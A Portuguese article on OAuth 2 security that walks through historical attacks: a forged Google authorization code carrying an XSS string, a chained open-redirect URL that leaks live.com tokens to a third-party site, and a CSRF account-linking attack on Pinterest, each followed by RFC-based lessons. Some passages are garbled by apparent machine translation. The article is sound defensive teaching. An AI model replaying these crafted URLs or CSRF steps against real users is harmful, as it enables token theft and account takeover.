Visão geral do OAuth 2
Este artigo pressupõe que os leitores estejam familiarizados com o OAuth 2. No entanto, a seguir, é apresentada uma breve descrição dele.
- O aplicativo solicita autorização para acessar recursos de serviço do usuário. O aplicativo precisa fornecer o ID do cliente, o segredo do cliente, o URI de redirecionamento e os escopos necessários.
- Se o usuário autorizar a solicitação, o aplicativo receberá uma concessão de autorização
- O aplicativo solicita um token de acesso do servidor de autorização, apresentando autenticação de sua própria identidade e a concessão de autorização
- Se a identidade do aplicativo for autenticada e a concessão da autorização for válida, o servidor de autorização emitirá o token de acesso e atualização (se necessário) para o aplicativo. A autorização está completa.
- O aplicativo solicita o recurso do servidor de recursos e apresenta o token de acesso para autenticação
- Se o token de acesso for válido, o servidor de recursos servirá o recurso ao aplicativo
Existem alguns prós e contras principais no OAuth 2.0
- O OAuth 2.0 é mais fácil de usar e implementar (em comparação com o OAuth 1.0)
- Ampla disseminação e crescimento contínuo
- Tokens de vida curta
- Tokens Encapsulados
- Sem assinatura (depende apenas de SSL / TLS), tokens de portador
- Sem segurança embutida
- Pode ser perigoso se usado por pessoas não experientes
- Muitos compromissos. O grupo de trabalho não tomou decisões claras
- Integração móvel (visualizações na web)
- Oauth 2.0 spec não é um protocolo, é um framework - RFC 6749
Avaliação mais crítica
OAuth 2 Hacks
O código de autorização pode ser usado mais de uma vez
Exemplo de ataque do Google:
- Registrar uma identificação de cliente
- Obtenha um token de autorização no terminal de autorização ( https://accounts.google.com/o/oauth2/auth ), por exemplo
- Agora mude o código de autorização de
4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI
Para
4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> e solicite um token de acesso.
Como dito, este será um código de autorização válido e o token de acesso é recebido devido ao fato de que o código de autorização possui o formato TOKEN1.TOKEN2 e somente o TOKEN1 é validado! - Na verdade, solicite novamente o token de acesso usando o mesmo código de autorização forjada (ou seja,
4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> O código de autorização não é mais aceito desde a autorização. A parte interessante de tudo isso é como o ponto de extremidade do token responde a esse código de autorização que não é mais válido.Na verdade, a resposta do erro era assim: Token Record:
Token: "4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script>" ...
como você pode ver, a saída não é higienizada.
Lição aprendida:
O cliente NÃO DEVE usar o código de autorização mais de uma vez. Se um código de autorização for usado mais de uma vez, o servidor de autorização DEVE negar a solicitação e DEVE revogar (quando possível) todos os tokens emitidos anteriormente com base nesse código de autorização.
URI de redirecionamento não validado
Agora vamos assumir um invasor:
- Registra um novo cliente no provedor vítima.com.
- Registra um URI de redirecionamento como attacker.com.
Em seguida, o atacante pode criar um URI especial do formulário
http://victim.com/authorize?response_type=code&client_id=bc88FitX1298KPj2WS259BBMa9_KCfL3&scope=WRONG_SCOPE&redirect_uri=http://attacker.com
Agora você pode argumentar que este é apenas um redirecionamento aberto e não é muito o que você pode fazer com isso, certo?
Vamos ver o exemplo da Microsoft e do Facebook:
A Microsoft usa um escopo especializado do OAuth wli.contacts_emails, disponível apenas para o aplicativo do Facebook. Uma parte interessante é que os usuários nunca são notificados de que o aplicativo está tentando acessar seus dados e a permissão é concedida silenciosamente.
Você pode tentar isso aqui (será necessário fazer login):
https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=https%3A%2F%2Fwww.facebook.com%2F
Se você tentar modificar o parâmetro #### redirect_uri, notará que o token é emitido para qualquer URL no domínio #### facebook.com. Portanto, para vazar o token OAuth para terceiros mal-intencionados, seria necessário um Redirecionamento aberto no domínio #### facebook.com. Como os redirecionamentos abertos são geralmente considerados vulnerabilidades de baixa gravidade, não é particularmente difícil encontrar um. Neste exemplo, utilizaremos um Redirecionamento aberto no fluxo de autorização do Facebook (fornecendo um parâmetro de escopo #### inválido). Funciona assim:
https://www.facebook.com/dialog/oauth?type=web_server&scope=invalid&display=popup&client_id=260755904036570&redirect_uri=http://simcracy.com
Portanto, encadeando os dois erros, podemos adquirir tokens OAuth de usuários do live.com. O exemplo completo está aqui:
https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fh%5B%5D%26u%3Dgraph.facebook.com%252Foauth%252Fauthorize%253Ftype%253Dweb_server%2526scope%253De%2526client_id%253D260755904036570%2526redirect_uri%253Dhttp%253A%252F%252Fsimcracy.com
Se agora você inspecionar o URL de destino, notará que o token OAuth da Microsoft foi enviado para um site de terceiros sem o seu consentimento. Outro exemplo é o redirecionamento para a página vulnerável ao XSS do domínio, onde o script ainda pode acessar o token.
Lições aprendidas:
As implementações do OAuth nunca devem colocar domínios inteiros na lista de permissões, apenas alguns URLs para que "redirect_uri" não possa ser apontado para um Redirecionamento aberto. Além disso, os desenvolvedores devem ter cuidado ao conceder acesso silenciosamente aos aplicativos (aprovar manualmente um aplicativo provavelmente não tornará a experiência do usuário muito pior).
O ÚNICO método de validação seguro para redirect_uri que o servidor de autorização deve adotar é a correspondência exata
Se o proprietário do recurso negar a solicitação de acesso ou se a solicitação falhar por outros motivos que não sejam um URI de redirecionamento ausente ou inválido, o servidor de autorização informará o cliente adicionando os seguintes parâmetros ao componente de consulta do URI de redirecionamento usando o "application / x-www -form- urlencoded "
Responda com um código de status HTTP 400 (Solicitação incorreta).
Cliente OAuth de falsificação de solicitação entre sites
Um ataque de CSRF contra o URI de redirecionamento do cliente permite que um invasor injete seu próprio código de autorização ou token de acesso, o que pode resultar no cliente usando um token de acesso associado aos recursos protegidos do invasor e não aos da vítima (por exemplo, salve as informações da conta bancária da vítima em um recurso protegido controlado pelo invasor).
Escolha Cliente que atenda à "condição" do hack - em algum site.com (usaremos o Pinterest como vitrine) Inicie o processo de autenticação - clique em "Adicionar login do provedor OAuth". Você precisa receber retorno do fornecedor, mas não deve visitá-lo.
Não visitar o a fazer por último o URL ( http://pinterest.com/connect/facebook/?code=AQCOtAVov1Cu316rpqPfs-8nDb-jJEiF7aex9n05e2dq3oiXlDwubVoC8VEGNq10rSkyyFb3wKbtZh6xpgG59FsAMMSjIAr613Ly1usZ47jPqADzbDyVuotFaRiQux3g6Ut84nmAf9j-KEvsX0bEPH_aCekLNJ1QAnjpls0SL9ZSK-yw1wPQWQsBhbfMPNJ_LqI# ), apenas o salvamento eo colocou TI img Into the src = "URL" ou o iframe ou qualquer coisa caso contrário, você prefere enviar solicitações.
Agora, tudo o que você precisa é fazer com que o usuário (algum usuário alvo ou aleatório do site.com) envie uma solicitação HTTP no seu URL de retorno de chamada. Você pode forçá-lo a visitar example.com/somepage.html, que contém iframe src = URL, postar img no mural dele, enviar um e-mail / tweet, o que for. O usuário deve estar logado no site.com quando enviar a solicitação.
Muito bem, sua conta oauth está anexada à conta do usuário no site.com.
Voila, pressione Efetuar login com esse provedor OAuth - você está conectado diretamente à conta do usuário no site.com
Lições aprendidas:
O cliente DEVE implementar a proteção CSRF para seu URI de redirecionamento. Isso geralmente é realizado exigindo que qualquer solicitação enviada ao terminal URI de redirecionamento inclua um valor que vincule a solicitação ao estado autenticado do agente do usuário (por exemplo, um hash do cookie de sessão usado para autenticar o agente do usuário). O cliente DEVE utilizar o "estado" pedido parâmetro para entregar este valor ao servidor de autorização ao fazer um pedido de autorização.
Depois que a autorização é obtida do usuário final, o servidor de autorização redireciona o agente do usuário do usuário final de volta ao cliente com o valor de ligação necessário contido no parâmetro "state". O valor da ligação permite que o cliente verifique a validade da solicitação, correspondendo o valor da ligação ao estado autenticado do agente do usuário. O valor de ligação usado para a proteção CSRF DEVE conter um valor não adivinhado, e o estado autenticado do agente do usuário (por exemplo, cookie de sessão, armazenamento local em HTML5) DEVE ser mantido em um local acessível apenas ao cliente e ao agente do usuário (ou seja, protegido pela mesma origem).
Um ataque CSRF contra o terminal de autorização do servidor de autorização pode resultar em um invasor obtendo autorização do usuário final para um cliente mal-intencionado sem envolver ou alertar o usuário final.
O servidor de autorização DEVE implementar a proteção CSRF para seu endpoint de autorização e garantir que um cliente mal-intencionado não possa obter autorização sem a conscientização e consentimento explícito do proprietário do recurso.
Parte do token de acesso do URI
Devido às fraquezas de segurança associadas ao método URI, incluindo a alta probabilidade de que o URL que contém o token de acesso seja registrado, ele NÃO DEVE ser usado, a menos que seja impossível transportar o token de acesso no campo "Autorização" do cabeçalho da solicitação ou no Corpo da entidade da solicitação HTTP. Servidores de recursos podem apoiar este método.